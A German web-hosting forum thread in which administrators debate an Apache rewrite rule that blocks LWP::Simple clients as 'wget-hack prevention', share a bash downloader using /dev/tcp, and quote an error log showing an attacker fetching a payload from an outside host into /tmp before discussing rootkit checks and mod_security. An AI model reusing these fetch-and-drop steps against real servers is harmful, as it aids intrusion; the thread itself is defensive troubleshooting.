wget hack prevention

Powie

Powie

Registered User
Gefunden in der .conf

Code: 
# 
# wget-hack prevention 
# 
<IfModule mod_rewrite.c> 
    RewriteEngine on 
    RewriteCond %{HTTP_USER_AGENT} ^LWP::Simple 
    RewriteRule ^/.* http://%{REMOTE_ADDR}/ [L,E=nolog:1] 
</IfModule>


Was bezweckt das?
 
Das sperrt das Kommandozeilen-Werkzeug "WGET" mit dem Default-UserAgent aus. Also
1) kann jeder es umgehen
2) ist wget kein 'hack' sondern ein nuetzliches Programm
3) kann man mit vielen anderen Tools Exploits suchen und benutzen.
 
Hi,

diese Konfiguration sperrt nicht direkt wget, sondern sämtliche Clients, die sich als LWP::Simple ausgeben, vordergründig erstmal Perlscripts.
Davon gibt es gute und böse und der Autor dieses Konfigurationsschnipsels hat wohl die Erfahrung gemacht, dass sehr gerne damit gescriptet wird um über unsichere php Scripte einen wget Download anzustoßen.

Das 'hack' bezieht sich also nicht auf wget, sondern auf deb Umstand, dass es von vielen Exploits genutzt wird.
Ich bin eher der Meinung man sollte wget auf einem Webserver nach dessen Einrichtung deinstallieren.

Gruss
 
kannnix said:
Ich bin eher der Meinung man sollte wget auf einem Webserver nach dessen Einrichtung deinstallieren.
Click to expand...
Na, GsD ist es ja auch auf sonst so gut wie keinem System drauf :-)

Gerne wird sowas genommen, um dafür zu sorgen, daß man "nicht einfach so" einen kompletten Mirror der Seite erstellen kann...
 
Nur mal so nebenbei, wget liefert als User-Agent header nicht "LWP::Simple[…]". Insofern ist schon der Kommentar zu der RewriteRule nicht korrekt.

Kurz und knapp: Weg damit.
 
Ich bin eher der Meinung man sollte wget auf einem Webserver nach dessen Einrichtung deinstallieren.
Click to expand...
Dann werden aber Updates sowie Installationen von Zusatzprogrammen erheblich verkompliziert. Wenn jemand Shell-Zugriff hat kann er viel mehr als ein schnoedes wget benutzen.
 
d4f said:
Dann werden aber Updates sowie Installationen von Zusatzprogrammen erheblich verkompliziert. Wenn jemand Shell-Zugriff hat kann er viel mehr als ein schnoedes wget benutzen.
Click to expand...

Da stimm ich dir absolut zu. Nur läuft das doch alles heutzutage vollautomatisch (gerade die wget-im-apache-log Angriffe). Da wird einmal der Exploitbaukasten angeworfen und ganze IP-Ranges durchlaufen und dann wird geschaut was denn am Ende erfolgreich war.
Wenn das Script dann kein wget findet, schaut kein Scriptkind nach, woran es denn gelegen hat, sondern ist mit den anderen 99 Treffern zufrieden.

Jemand der sich nur 'deinem' Server widmet hält ein fehlendes wget in der Tat nicht von weiteren Böswilligkeiten ab ;)

Gruss
 
Quick&Dirty Hack:
Code: 
#!/bin/bash
if [ $# = 0 ]; then
  echo "Usage: http-get <URL>" >&2
  exit 1
fi
URL=${1##http://} &&
SERVER=${URL%%/*} &&
FULLFILENAME=${URL#$SERVER} &&
FILENAME=${FULLFILENAME##*/}
echo -n "Fetching $SERVER$FULLFILENAME... "
(echo -e "GET $FULLFILENAME HTTP/1.0\r\n\r\n" 1>&3 &
cat 0<&3) 3<>/dev/tcp/$SERVER/80 | (
  read i
  while [ x"$(echo $i | tr -d '\r')" != "x" ]
  do
    read i
  done
  cat
) >$FILENAME
echo "done."
exit 0
Soviel zum Thema wget deinstallieren...
 
Wenn das Script dann kein wget findet, schaut kein Scriptkind nach, woran es denn gelegen hat, sondern ist mit den anderen 99 Treffern zufrieden.
Click to expand...
Du gehst hier davon aus dass der Angreifer einen Angriff auf ein Sicherheitsloch in einem PHP-Skript ausfuehrt, Quellcode hochladen kann und shell_exec erlaubt ist. Und dann soll der Angreifer wget benutzen wenn er in PHP selbst die Funktionen fopen() und fsockopen() hat? :confused:

Oder meinst du dass wenn das Skript geblockt wird weil der Useragent entdeckt wurde?
 
Last edited by a moderator:
d4f said:
Du gehst hier davon aus dass der Angreifer einen Angriff auf ein Sicherheitsloch in einem PHP-Skript ausfuehrt, Quellcode hochladen kann und shell_exec erlaubt ist. Und dann soll der Angreifer wget benutzen wenn er in PHP selbst die Funktionen fopen() und fsockopen() hat? :confused:
Click to expand...
Du denkst zu kompliziert ;) Eine schnöde ungefilterte Input-Variable genügt leider oft schon um einen wget/whatever-Aufruf ausführen zu lassen. Und shell_exec und Konsorten hat doch in freier Wildbahn kaum jemand deaktiviert.
 
Ich hab mal bissel in den Error Logs vom Apache gestöbert, da findet man ja auf einem frequentierten System allerhand lustige Sachen die Angriffs"versuche" sind.

Interessant aber, und eventuell zum Thema passend sowas:

Code: 
...
[Fri Jan 28 18:17:44 2011] [error] [client 216.245.222.67] File does not exist: /srv/www/web52/html/admin
sh: fetch: command not found
--18:17:48--  http://hbbb.com.au/.../css.log
           => `/tmp/css.log'
Resolving hbbb.com.au... 184.106.137.176
Connecting to hbbb.com.au|184.106.137.176|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 27,302 (27K) [text/plain]

    0K .......... .......... ......                          100%  120.89 KB/s

18:17:48 (120.89 KB/s) - `/tmp/css.log' saved [27302/27302]
...

Die css.log liegt auch in temp, anscheinend war aber erstmal nix weiter damit anzufangen. Der Versuch also einen rootkit einzuschleussen.
 
Powie said:
Die css.log liegt auch in temp, anscheinend war aber erstmal nix weiter damit anzufangen. Der Versuch also einen rootkit einzuschleussen.
Click to expand...

Wenn du die Datei auf dem System hast, kannst du davon ausgehen, dass sie auch ausgeführt wurde (denn einen Schritt vorher konnte der Angreifer ja schon wget aufrufen).

Ich würde das System einer äußerst strengen Prüfung unterziehen, typischerweise hast du ein paar IRC Verbindungen laufen die dan Kontrollkanal des Bots darstellen. Möglicherweise wurden auch Tools wie netstat manipuliert, sodass diese Verbindungen nicht angezeigt werden. Auf alle Fälle ist erhöhte Aufmerksamkeit gefragt.

Gruss
 
Wir haben auf unseren Servern AFIK und rootkithunter im Einsatz, mit der Maschine ist alles OK.
Nachdem ich vor Jahren mal intensiv Bekanntschaft mit dem th0rnkit gemacht habe weiss ich mittlerweile recht gut ob das System OK ist oder nicht.

Trotzdem, die Maschine ist ein Suse 10 was schleunigst runter muss.....
 
Nach etwas Analyse habenn wir eine andere Maschine gefunden auf der die Angriffe viel viel häufiger sind, aber scheinbar schon an einer anderen Hürde scheitern. Dazu habe ich aber mal ein anderes Thema aufgemacht, wir würden da gern die "Lücke" analysieren über welche die Angriffe laufen.

Angriffe über Apache analysieren

Auf einem Server sind uns extreme Angriffe aufgefallen welche darauf abzielen zu versuchen einen rootkit einzuschleussen. Das ganze sieht verstärkt so aus das wir die folgenden Einträge im Apache Error Log finden: sh: fetch: command not found sh: wget: command not found sh: wget: command not...
serversupportforum.de

Interessant: Nutze ich auf dieser Maschine ( Confixx ) den ispCP wget-hack-prevention im confixx_vhost.conf ist schlagartig Ruhe mit dem Theater.
 
Durch PHPIDS und mod_security2 kann man die meisten entsprechenden Angriffe erkennen und filtern ohne einem vom Client uebermittelen "Ich-koennte-Boese-sein" zu vertrauen.
Natuerlich verlangt beides etwas mehr Arbeit und Wartung aber dafuer tut es auch was es soll ;)
Alternativ funktioniert auch "iptables -I INPUT --dport 80 -j DROP" um den Webserver ab zu sichern.
 
You must log in or register to reply here.
Back
Top